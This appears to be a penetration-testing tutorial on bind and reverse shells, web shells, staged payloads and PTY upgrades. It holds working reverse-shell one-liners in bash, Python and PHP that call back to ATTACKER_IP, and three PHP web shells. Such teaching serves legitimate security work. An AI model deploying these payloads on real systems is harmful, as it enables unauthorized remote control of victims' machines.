Reverse vs Bind Shells
A bind shell opens a listening port on the target and waits for you to connect to it. Straightforward, but firewalls usually block inbound connections to arbitrary ports, so bind shells fail often in real environments. A reverse shell has the target connect back to a listener on your machine. This works much more often because outbound connections are rarely filtered as aggressively as inbound ones.
Reverse shells are what you'll use in practice. The listener goes on your attack machine. The payload triggers the target to connect back. Once connected, your listener hands you a shell prompt running as whatever process executed the payload.
nc -lvnp 4444
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh"])'
php -r '$sock=fsockopen("ATTACKER_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
Web Shells
A web shell is a script dropped onto a web server that accepts commands via HTTP requests. You don't need a direct connection to the server — you just send a request to the uploaded script via the browser or curl. They're useful when you can upload or inject a file but can't establish a direct reverse shell connection.
<?php system($_REQUEST['cmd']); ?>
<?php echo shell_exec($_GET['cmd'].' 2>&1'); ?>
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; } ?>
Use: curl http://TARGET/shell.php?cmd=id
Staged vs Stageless Payloads
A stageless payload contains everything needed to give you a shell in a single binary. Larger, but self-contained. A staged payload is tiny — it just connects back to a listener, downloads the real payload (stage 2), and executes it in memory. Stage notation: shell_reverse_tcp is stageless; shell/reverse_tcp (with a slash) is staged. Staged payloads are smaller and harder to detect with static analysis, but require a running stage handler.
When to Use Each
Use stageless when you have limited shellcode space or need a self-contained binary. Use staged when you need to keep the initial payload small and your listener is reliable. In CTF contexts, stageless is usually simpler. In real engagements, staged payloads with encrypted communications are more common.
Upgrading a Shell to a PTY
A raw netcat reverse shell is painful to work with. Tab completion doesn't work, Ctrl+C kills your shell instead of the running command, and text editors are unusable. Upgrading to a proper PTY (pseudo-terminal) fixes all of this.
python3 -c 'import pty; pty.spawn("/bin/bash")'
Ctrl+Z
stty raw -echo; fg
export TERM=xterm
stty rows 38 columns 116